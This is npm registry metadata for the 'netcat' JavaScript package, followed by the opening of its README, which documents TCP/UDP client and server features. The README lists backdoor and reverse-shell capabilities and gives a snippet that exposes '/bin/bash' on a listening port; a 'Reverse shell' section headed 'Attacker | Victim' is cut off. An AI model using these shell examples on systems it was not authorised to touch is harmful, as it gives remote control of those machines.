Musolino"},"license":"ISC","_id":"netcat@1.3.3","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"6cdace1cc7d31eeb1bd9ebde0e76d1ad54fe8593","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.3.3.tgz","integrity":"sha512-fVJ63pCL/ej7fEhk6WuUwPcm7YH1J7E6h4iS6Zs9kCyvG25bN7Z0KvJn/mJxxBHq6nerPOOM7mL1C42kkSBiAw==","signatures":[{"sig":"MEYCIQCyq5c7jpv+v0f5gnloFnV93IZr9j3evT537ZZqEwKq/AIhAJ00RmO0JdOu26zpcJixwwLr3tIWS8eyQi0Mm2R/vh6O","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","engines":{"node":">=4.8.0"},"gitHead":"76168a87c0123ff9d29fa626d899811472d363ea","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"roccomusolino92@gmail.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"5.4.2","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"8.7.0","dependencies":{"debug":"^3.1.0","hexer":"^1.5.0","nanoid":"^0.2.2","through2":"^2.0.3","datagram-stream":"^1.1.1","async-each-series":"^1.1.0"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-1.3.3.tgz_1516572188129_0.06113725854083896","host":"s3://npm-registry-packages"}},"1.3.4":{"name":"netcat","version":"1.3.4","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@1.3.4","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"715602e2f5bad161c37880caf92e23efe0fd0fdc","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.3.4.tgz","fileCount":24,"integrity":"sha512-rIUUy1vEFoHI1yU8wVD+MlT7MWiexIa/IqarnUPHyWgF7nNSwe2oVyrxtQeGvW1IbmEgLVQSb0+C1u9VRmtcjw==","signatures":[{"sig":"MEUCIAT6j7Tex1iivq3np4Yv9SK/oeFURJumv5Pnd9lho2NAAiEAm02Fnu51x7vgkURxjBZHSNAM/s4dwusNglO+3qc7dsQ=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":91560,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.4\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJa+ttgCRA9TVsSAnZWagAA7mgP/jhYPdJFZqBgwx9WA6Oy\ngak2o26Gy36eeTiaVH/eCCwQnmgX+P81yYVZX3eVp3ivAdRX87S98OltwWnF\nX8+q6FSoNhozv71EpJGyn/BzgXfGdrfT30ohz0BdMFPZff8aNx8ClzwTI5lk\na9nj1Xe6aqsjz4sdUPnsVawkAn4Ao2H3HbHN93Mfa4el8zmsBZ5kxnh1SHKV\nPftka6ZxQFtZjxERwWgNNd1Kai28rWKzMb3KvCx5buhVMvx6no9NoNleAIPZ\nPTyqxkTdHYD/88/C62HzFOMdz+crBEQ65jKnXeeNaH9oSVomr3zQXWJ0dAu8\niAUURPHjD4Aqvhku15IvMmHSzE6MuAXQ135UWsGbP4HzY6TxTWGJuG6w/cji\neamRFIfplWuQD06srYTWVYXN/pr0G7R0InCB6eolRTl4gX9tzwrah3K5XMvZ\nrxzdhjetQDPdSMd/KsLWxikP/GyVw9L90wn8SFHziZy9UllbDk9Kvwg74xjk\n+F0Wl1xZYmkHEth1Xx38Sg7KBUkJ1GBWXpVe6mCL9+YTAvI8ORgtIcpx7dCT\nLMNWdEIqEqrvxb9xfVCb9n0E39erbb1SicSXoMaYaYRzf6nmGTcT7l7U7df2\ny+epNY6MsCB0xjRZMyK2UZTLxtwc8LswWkZYa48RruGCnEq+0NsxqfuUrB8q\nZtWJ\r\n=bvvC\r\n-----END PGP SIGNATURE-----\r\n"},"main":"index.js","engines":{"node":">=4.8.0"},"gitHead":"c941d642998c85245e528c978a7cd754ba5be94c","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"standard && nsp check && tape ./tests/**/*.js | tap-spec","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"roccomusolino92@gmail.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"5.8.0","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"9.3.0","dependencies":{"debug":"^3.1.0","hexer":"^1.5.0","nanoid":"^1.0.2","through2":"^2.0.3","datagram-stream":"^1.1.1","async-each-series":"^1.1.0"},"_hasShrinkwrap":false,"devDependencies":{"nsp":"^3.2.1","tape":"^4.9.0","standard":"^11.0.1","tap-spec":"^4.1.1","concat-stream":"^1.6.2"},"_npmOperationalInternal":{"tmp":"tmp/netcat_1.3.4_1526389598799_0.8421890622426145","host":"s3://npm-registry-packages"}},"1.3.5":{"name":"netcat","version":"1.3.5","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@1.3.5","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"1749f7feff5177c5110792d872b288006a88dabb","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.3.5.tgz","fileCount":25,"integrity":"sha512-ZpKBhbwWsTNg5HD5CZ7UZ/9Sjrzqfos40eoeDLoGckLSmmif23xUOSJ8EfJaF1V5xetwBpanrQjqD3mXBU6JEQ==","signatures":[{"sig":"MEQCIGCLNsdb2WeTIT5/ONlMzG/9TrPnll4WN82Ow3RNwUivAiAuc7oPfFnCq1peUNjITDHNfEsnwOucKBH7Z2vy3mWGJA==","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":104379,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.4\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJa+uCuCRA9TVsSAnZWagAAA50P/26M/HsZiuq4PmEbypsH\nKC5XV/avN0FxqvZ53pAR4GL8/qauezdYscjfRMx9y2Ma0yJZuiIi2PEjhl2b\n63hwe2yTVbk1MA10IsjqeCh0kmDYTJ3Y688Wm4lETXGs+jpnZOXLskIZh8xv\nFmR/nokHibmK5mQbd17Qev+HmQDj18QHLXAPZJGx+lySO6hVepE9wIVusEF5\n9i3gj32N65XodpeLIv0L5W2Pq8BT+VwUTicnZRE3EUy84dLmrxhSETfRZYPO\n6aNr1L79hiEsXvc7JaQnamkFmyptvhlR/tQOEFAKn2InUfAHDWIsy0jWh9iU\nawlJm5uDopoXGOgovcJDefG+JbojL5MVooBhMc6SdgFcVf1IwbRcFSFOf/gM\nMUpvyb7MPoNdFCJmJZQ4VGHzS0zDqf+xShTqEphG2/lD/SUHB+4G3Q08cPAz\nBbdLKE8MXhNf9HeU6y7BCzWuHRyYb/B3pyoBRP7EaWqezaHWdzfSzWYyXdXG\nVGDmqbkeo620y2Lsprl9jTs4weURhYCm9/Ec+oCP6KXWjdIS9v2fUp6eCj4t\nLFjSMAWUURjddQt3y8Z2ENWusELopqwcpteO75/KFMFqJHPA74XDa6nORIXH\nf9IvyE3hsRrO0j2DGfx9EhxMuZKD1d9ufBfNSdwgrK0Lu0Zl8W9kihbSeyTZ\nk5Iu\r\n=mK2Q\r\n-----END PGP SIGNATURE-----\r\n"},"main":"index.js","engines":{"node":">=4.8.0"},"gitHead":"ecb27247b6b7d5361e3c13a59b74b85da4808d03","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"standard && nsp check && tape ./tests/**/*.js | tap-spec","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"roccomusolino92@gmail.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"5.6.0","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"8.11.1","dependencies":{"debug":"^3.1.0","hexer":"^1.5.0","nanoid":"^1.0.2","through2":"^2.0.3","datagram-stream":"^1.1.1","async-each-series":"^1.1.0"},"_hasShrinkwrap":false,"devDependencies":{"nsp":"^2.8.1","tape":"^4.9.0","standard":"^11.0.1","tap-spec":"^4.1.1","concat-stream":"^1.6.2"},"_npmOperationalInternal":{"tmp":"tmp/netcat_1.3.5_1526390956744_0.7109125027559615","host":"s3://npm-registry-packages"}},"1.3.6":{"name":"netcat","version":"1.3.6","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"url":"@roccomuso","name":"Rocco Musolino"},"license":"MIT","_id":"netcat@1.3.6","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"5ae9d33b2ace9d04cf51118d9d9724cfc68d9a83","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.3.6.tgz","fileCount":24,"integrity":"sha512-8Y7Sk88jflyzvQO2H8fZpIScVz7qOe1XaSRHXvxivd9opVhUBJMWfZ2TuVINuP1YirzOBjdj4RSPqjkyK85oXw==","signatures":[{"sig":"MEQCIGrvTrKXdFqdr4NdfTFM+/N7v8kkrOyIigBo19hno7cCAiAwYEPm4B8oisXjZIUbdqULJqJWuJh2w1MwgXjSgma3Gw==","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":91666,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.4\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJb5aJpCRA9TVsSAnZWagAAWHoQAIqEhKLvsTQKi+oqzZO7\nBqVI7oOpkxGTD1XW5cyuk/mxa9+bpf94tZA/MnLsm04blJq1SygPt3SqXlR6\nGWuBbTNsR1XRDw47yVjIuyAjfN7K/Rx0FZccleR8dUkFIGjCWVxTb0uJz43X\nrNRjxkN7exR6gIocWyct1nSHXpV5osxASugARoHuK2NaBsExEnI6VuhZI7W+\nvruNrO30s0qvOq+fXcMEPy7/y6dEMMtzyusyPxzRjQVWU7JPbZhJjdqZ7aC5\nyYaMWjMyXl0td/gnaqh4HbpMC1os1o+uq3DcQwcJ8fXzDLdGQkPTqBWN8gm9\nQuKa49fYn29+pzqNPg0d577/BI/4lRiteiQrZ+r1V1EzuU3yT/aANQliZm48\no9W7sdFfNjF4nfidpWSsuY3xIfJOqI+ktWfvIwAg8T1f6N0wuYt2KhqnSPB4\nSUStkNF1NpLvO7bDVwoqi5vMLZYvHUtkeN6Px+lUTTJ7b2ZwKwKnhz0OitS9\nmDqVPqS3ac2hCBH4ILCFlZyJYeTYVOYQudPjzmaMZC+Kqbw9WyYqQhqxLWvi\nst9BtTZCplJC6m3hZgFOMZD/zPOv87MsfHXMSZOihiI2ZS4ZTUrpXWa3G+9U\nU9lO5J6pXUB+CpCsvMZFWBFiAOUpvAnTrEkNPqiAz8CE5zGwzLLNp1ArD7Bc\n/yGm\r\n=KOMB\r\n-----END PGP SIGNATURE-----\r\n"},"main":"index.js","engines":{"node":">=4.8.0"},"gitHead":"b67d5a78647af5b0bb2fc58690fe0e2b273897b0","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"standard && tape ./tests/**/*.js | tap-spec","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"roccomusolino92@gmail.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"6.2.0","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"10.9.0","dependencies":{"debug":"^4.0.1","hexer":"^1.5.0","nanoid":"^2.0.0","through2":"^3.0.0","datagram-stream":"^1.1.1","async-each-series":"^1.1.0"},"_hasShrinkwrap":false,"devDependencies":{"tape":"^4.9.0","standard":"^12.0.1","tap-spec":"^5.0.0","concat-stream":"^1.6.2"},"_npmOperationalInternal":{"tmp":"tmp/netcat_1.3.6_1541775976436_0.182016418318921","host":"s3://npm-registry-packages"}},"1.4.0":{"name":"netcat","version":"1.4.0","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"url":"@roccomuso","name":"Rocco Musolino"},"license":"MIT","_id":"netcat@1.4.0","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"42d72787566a93eb164f1238f23c92e48233acea","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.4.0.tgz","fileCount":24,"integrity":"sha512-2U3ubutoDf/VLHv6gf2pldS3rgZQZh2D7HPgyaBVW8+mo4ulwFdXI24Pe98yWfLqWcqjhiFG9gpBF15TWjS3ow==","signatures":[{"sig":"MEUCIQD5c4TVgrcxarLaq2WoqSXrhsQRBTQU6pKtHgyY0kqFQgIgcjTf/ofzJ4Ih5vN2BnxZ4PXBqiCP+/ChgD8WmiIWwms=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":91676,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.4\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJb5abZCRA9TVsSAnZWagAAXEYP/1o5RST04enNonUvb23c\nArq0lCgOhRx+QetViYvSMu6xu5fuNA6GweaH5zWf1zOrTbcapqavt8nZeFAO\nNZe17CWkCRvsz4/pqkZDqeR/V+wx5fXuC2ntc9m7bPZ7ednqm48SCy1T02AP\nZG+DOoHpHiO8WQ2F4ppaAPz6YQMPzECXMD1uqZbPgO6ITBJA0QILn6vPPGeQ\nztFPYfcpXKgHJjVHvz5YueJqWmwjn169VuN3agdmjZiom+tgBoazJJ9aWGB2\nQEwz6VIZEGu7Jfveh27yZ5ZfUSEr/HzLGxdvsC0nzWEhGbKF/BuMFgIW1X36\nEC/J/WQDaovF8Tf0Ig9hx/jkCGYYIBRmkGrpC1Ba/MUXiRaUCpjlbOFpsneN\niQaRppf5aJvPnIc2gUR96JX8v+7T6GIRJPuZNXM7PdEU2nmSMq+Vlkbmrqxx\nUlAB+r2SkHQJuLc+oyMT2v2T7AFX9QTj0FDS7oCi/vVNhMcaFKZnZIetj8DA\nOlKCpabZhutNIi0b3DouOXHWwStbtfddAUk7gr+JA1lWgwkV/B7Ir2texiaH\njZ/lkZq9eWa2rMrkBNru2ACT/214yoaajfS9xLpyROxQl2z/cGT5lNRXaVVU\nKTey35YuzJWOlspUetCeaGwVWqvjNqd1nez3cU/o1ip6ayskmnvIqHZMHSb3\nM5Wx\r\n=vUfx\r\n-----END PGP SIGNATURE-----\r\n"},"main":"index.js","engines":{"node":">=6.4.0"},"gitHead":"15d12a9c48e87b9fbbe3b79de81290bebff6a565","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"standard && tape ./tests/**/*.js | tap-spec","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"roccomusolino92@gmail.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"6.2.0","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"10.9.0","dependencies":{"debug":"^4.0.1","hexer":"^1.5.0","nanoid":"^2.0.0","through2":"^3.0.0","datagram-stream":"^1.1.1","async-each-series":"^1.1.0"},"_hasShrinkwrap":false,"devDependencies":{"tape":"^4.9.0","standard":"^12.0.1","tap-spec":"^5.0.0","concat-stream":"^1.6.2"},"_npmOperationalInternal":{"tmp":"tmp/netcat_1.4.0_1541777113149_0.9455873327408257","host":"s3://npm-registry-packages"}},"1.5.0":{"name":"netcat","version":"1.5.0","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"url":"@roccomuso","name":"Rocco Musolino"},"license":"MIT","_id":"netcat@1.5.0","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"16fa19338d339ff2e23c6d1c8262050007fbce71","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.5.0.tgz","fileCount":24,"integrity":"sha512-7M2aVlkoJDQYy2LPBl396pRx6iuWmQUTXPH11qbWj9lk7ORyZ3NWeb2r90j2NVOFPG6NGVtFtIrJPcw2pwgWHw==","signatures":[{"sig":"MEQCIDKBYav8QHYC+ot5F5N2coBP9TbF3N+5oCNMEFWR02FgAiBYG88eYLTjfbu150CE8qPFOoZZLMZmo12lc4TRTW2YKw==","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}],"unpackedSize":237517,"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v3.0.4\r\nComment: https://openpgpjs.org\r\n\r\nwsFcBAEBCAAQBQJeaQRlCRA9TVsSAnZWagAAUTIP/2IRe+OvpCT4EX1klAqD\nM8nliw8sF0eY9PMJthJZs/499AhTu893i0HAHPb92eXnSPzyhYVlLuczIdkl\nb/p76R0cfAvaluzm8eh2QOkUAa3apgCB8XLRWNz0wiHyF5PalCXxDDYR+Atv\nMS8hXj0n98neSXJn+lPP/jKahBMDlpyk8l8m7O+8xMDrntFoRCmxB4g/i1M1\nZvtCCbDUIS0oCfn55WTPFzuU6LZ3q9YhsE6InI78Ho1/Kilt2+nF6+9GE+QU\nfwLwyrgw+PYZUkkcoPIiY0U33k9SIcbdo05PWiF9RZbhejV3ou/kxHvNXzOZ\n7o25KBqR/thOopvmFT1qGVuKUshNAbwQbmJA94gvQpCxsUxyxPrh4RMuIHs8\nEzRKIuCxWlgido/GUHBr16tgx12ObJ11l7Dnu0f8K3KYIq+oBOmX8gaVqGE4\nNyBYsQtbOC9DExyZPWjpR3LzThQr1h6e1A3bF7zs70BYmCbx78Yo4FBZo8/r\nVzRQvpHWMwFQqOtyNQ+jRLce9a4RfAUX9l24UOveilBMwjCOejJi52Uvczpp\nNKgULgy6hPjSD8o2dcUy+mCNwa2Ppaspee4kqJPbA6+xN6rEWfE4A4MuLdY4\nEMH20/NYLm1WV/5sxibExVYrQJiehbIlmVoGRnSBbDxZIJODuXPlgOvySz7r\nGLWL\r\n=/SM4\r\n-----END PGP SIGNATURE-----\r\n"},"main":"index.js","engines":{"node":">=10.8.0"},"gitHead":"62cd9a26d10218f1e2bfb2e1c912a060a44ba8b6","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"standard && tape ./tests/**/*.js | tap-spec","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"roccomusolino92@gmail.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"6.10.2","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"12.8.1","dependencies":{"debug":"^4.0.1","hexer":"^1.5.0","nanoid":"^2.0.0","through2":"^3.0.0","datagram-stream":"^1.1.1","async-each-series":"^1.1.0"},"_hasShrinkwrap":false,"devDependencies":{"tape":"^4.9.0","standard":"^12.0.1","tap-spec":"^5.0.0","concat-stream":"^1.6.2"},"_npmOperationalInternal":{"tmp":"tmp/netcat_1.5.0_1583940709017_0.5249185294267316","host":"s3://npm-registry-packages"}},"1.5.1":{"name":"netcat","version":"1.5.1","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"url":"@roccomuso","name":"Rocco Musolino"},"license":"MIT","_id":"netcat@1.5.1","maintainers":[{"name":"roccomuso","email":"roccomusolino92@gmail.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"d524dcde600b0fd0661fc2bdd4ee4e8c64bb9335","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.5.1.tgz","fileCount":24,"integrity":"sha512-Y1J76Pk93ScEZ94YXbaqG+rT/m/ojT9Pb2w2fq0uk7YVmsR28Nu5y7St/U7dHIbxfxus5He51EORcf5sojsYiQ==","signatures":[{"sig":"MEUCIQCSob2erR/VnCja3yaRHI2fC/4uNTrDIDyk7zjj5ojEogIgFp2505yV4NG78DEUmz/nMaNgKQLg3pMrWWZ/1nKL8GM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":239579},"main":"index.js","engines":{"node":">=22.0.0"},"gitHead":"72da1b21482e3e0d8c8e7c91c9826937067f3d40","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"standard && tape ./tests/**/*.js | tap-spec","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"roccomusolino92@gmail.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"10.9.3","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"22.18.0","dependencies":{"debug":"^4.0.1","hexer":"^1.5.0","nanoid":"^3.3.8","through2":"^3.0.0","datagram-stream":"^1.1.1","async-each-series":"^1.1.0"},"_hasShrinkwrap":false,"packageManager":"yarn@1.22.22","devDependencies":{"tape":"^4.9.0","standard":"^12.0.1","tap-spec":"^5.0.0","concat-stream":"^1.6.2"},"_npmOperationalInternal":{"tmp":"tmp/netcat_1.5.1_1785158388230_0.08406839369477215","host":"s3://npm-registry-packages-npm-production"}},"1.5.2":{"name":"netcat","version":"1.5.2","description":"Netcat client and server modules written in pure Javascript for Node.js","main":"index.js","packageManager":"yarn@1.22.22","scripts":{"test":"standard && tape ./tests/**/*.js | tap-spec","tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","start":"node server.js"},"repository":{"type":"git","url":"git+https://github.com/roccomuso/netcat.git"},"engines":{"node":">=22.0.0"},"keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"name":"Rocco Musolino","url":"@roccomuso"},"license":"MIT","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"homepage":"https://github.com/roccomuso/netcat#readme","devDependencies":{"concat-stream":"^1.6.2","standard":"^12.0.1","tap-spec":"^5.0.0","tape":"^4.9.0"},"dependencies":{"async-each-series":"^1.1.0","datagram-stream":"^1.1.1","debug":"^4.0.1","hexer":"^1.5.0","nanoid":"^3.3.8","through2":"^3.0.0"},"_id":"netcat@1.5.2","gitHead":"c51cf42455b59539621cd2b674762071959fee67","_nodeVersion":"22.18.0","_npmVersion":"10.9.3","dist":{"integrity":"sha512-J1bBxAro6Jz2M4KtfADtxF3XMBo4AznDRroLH7u+SmpI1ikuFxbomRi3Zd9wI5/DSa6NPPuzTujZeKHKzqkcmQ==","shasum":"78606d4b4408fbdd3625559e11070d58ef6b79e2","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.5.2.tgz","fileCount":24,"unpackedSize":241628,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEUCIEwdeKUEUBNxhoQeAD4ubE3P2vS89yujncT98rQCKs7RAiEArUcHBwE3mH4oExVsGqV7ED1Qu5QFhzfrgSDo4j0QcNc="}]},"_npmUser":{"name":"roccomuso","email":"roccomusolino92@gmail.com"},"directories":{},"maintainers":[{"name":"roccomuso","email":"roccomusolino92@gmail.com"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/netcat_1.5.2_1785160391718_0.09586215852738822"},"_hasShrinkwrap":false}},"time":{"created":"2017-05-07T17:32:45.333Z","modified":"2026-07-27T13:53:12.019Z","0.0.1":"2017-05-07T17:32:45.333Z","0.0.2":"2017-05-29T09:35:08.185Z","0.0.3":"2017-06-10T20:31:07.979Z","0.0.4":"2017-06-11T15:44:04.110Z","0.0.5":"2017-06-14T17:10:02.969Z","1.0.6":"2017-06-16T23:04:50.359Z","1.1.5":"2017-06-18T14:08:03.179Z","1.2.5":"2017-06-19T11:30:37.246Z","1.2.6":"2017-06-23T19:31:50.861Z","1.2.7":"2017-06-23T20:28:37.685Z","1.2.8":"2017-06-27T15:15:51.688Z","1.3.0":"2017-07-27T15:05:53.684Z","1.3.1":"2017-07-29T18:19:35.423Z","1.3.2":"2017-09-30T17:38:03.523Z","1.3.3":"2018-01-21T22:03:09.263Z","1.3.4":"2018-05-15T13:06:38.911Z","1.3.5":"2018-05-15T13:29:16.864Z","1.3.6":"2018-11-09T15:06:16.615Z","1.4.0":"2018-11-09T15:25:13.279Z","1.5.0":"2020-03-11T15:31:49.178Z","1.5.1":"2026-07-27T13:19:48.372Z","1.5.2":"2026-07-27T13:53:11.871Z"},"bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"author":{"name":"Rocco Musolino","url":"@roccomuso"},"license":"MIT","homepage":"https://github.com/roccomuso/netcat#readme","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"repository":{"type":"git","url":"git+https://github.com/roccomuso/netcat.git"},"description":"Netcat client and server modules written in pure Javascript for Node.js","maintainers":[{"name":"roccomuso","email":"roccomusolino92@gmail.com"}],"readme":"# netcat\n\n[![NPM Version](https://img.shields.io/npm/v/netcat.svg)](https://www.npmjs.com/package/netcat)\n![node](https://img.shields.io/node/v/netcat.svg)\n[![Dependency Status](https://david-dm.org/roccomuso/netcat.png)](https://david-dm.org/roccomuso/netcat)\n[![JavaScript Style Guide](https://img.shields.io/badge/code_style-standard-brightgreen.svg)](https://standardjs.com)\n<span class=\"badge-patreon\"><a href=\"https://patreon.com/roccomuso\" title=\"Donate to this project using Patreon\"><img src=\"https://img.shields.io/badge/patreon-donate-yellow.svg\" alt=\"Patreon donate button\" /></a></span>\n\n> Netcat client and server modules written in pure JavaScript for Node.js.\n\nFully tested modules that implement the basic netcat features. To use this as a standalone tool, install the [nc](https://github.com/roccomuso/nc) package.\n\n| Linux/Mac | Windows |\n|-----------|---------|\n| [![Build Status](https://travis-ci.org/roccomuso/netcat.svg?branch=master)](https://travis-ci.org/roccomuso/netcat) | [![Build status](https://ci.appveyor.com/api/projects/status/q4x7xwtj7ga3ppo5?svg=true)](https://ci.appveyor.com/project/roccomuso/netcat) |\n\n## What you can do :computer:\n\n- [x] TCP & UDP\n- [x] Backdoor (Reverse Shell)\n- [x] Honeypot\n- [x] File transfer\n- [x] Port forwarding\n- [x] Proxy\n- [x] Web Server\n- [x] Port scanning\n\n## Enhancements\n\n- [x] [Filter](#filter-incoming-data) incoming data.\n- [ ] Crypto.\n- [ ] Authentication (`.auth('pass')`).\n- [ ] `allow` and `deny` specific remote IP addresses.\n\n## Install\n\n    $ yarn add netcat\n\n[![NPM](https://nodei.co/npm/netcat.png?downloads=true&downloadRank=true)](https://nodei.co/npm/netcat/)\n\n## Usage\n\n```javascript\nconst NetcatServer = require('netcat/server')\nconst NetcatClient = require('netcat/client')\nconst nc = new NetcatServer()\nconst nc2 = new NetcatClient()\n```\n\n## Examples\n\nThis module's API follows the original netcat CLI parameters as closely as possible.\n\nFor instance: `nc -l -p 2389` is equivalent to `nc.port(2389).listen()`. Easy right?\n\n#### Server and client connection\n\n| Server                 | Client                             |\n|------------------------|------------------------------------|\n|`nc.port(2389).listen()`|`nc2.addr('127.0.0.1').port(2389).connect()`|\n\n#### Transfer a file\n\n| Server              | Client                             |\n|---------------------|------------------------------------|\n|`nc.port(2389).listen().pipe(outputStream)`|`inputStream.pipe(nc2.port(2389).connect().stream())`|\n\nOr vice versa, you can do the equivalent of `nc -l -p 2389 < filename.txt`. When someone connects to port `2389`, the file is sent to them:\n\n| Server              | Client                             |\n|---------------------|------------------------------------|\n|`nc.port(2389).serve('filename.txt').listen()`|`nc2.port(2389).connect().pipe(outputStream)`|\n\n#### Keepalive connections\n\n| Server              | Client                             |\n|---------------------|------------------------------------|\n|`nc.port(2389).k().listen()`|`inputStream.pipe(nc2.port(2389).connect().stream())`|\n\nThe server will stay alive and will not close after the first connection. (`k()` is an alias for `keepalive()`.)\n\n#### Serve raw buffer\n\n| Server              | Client                             |\n|---------------------|------------------------------------|\n|`nc.port(2389).listen().serve(Buffer.from('Hello World'))`|`nc2.port(2389).connect().on('data', console.log)`|\n\n#### Backdoor shell\n\n| Server              | Client                             |\n|---------------------|------------------------------------|\n|`nc.port(2389).listen().exec('/bin/bash')`|`process.stdin.pipe(nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream())`|\n\nThe `exec()` method executes the given command and pipes its `stdout` and `stderr` to the client socket.\n\n#### Reverse shell\n\n| Attacker              | Victim                           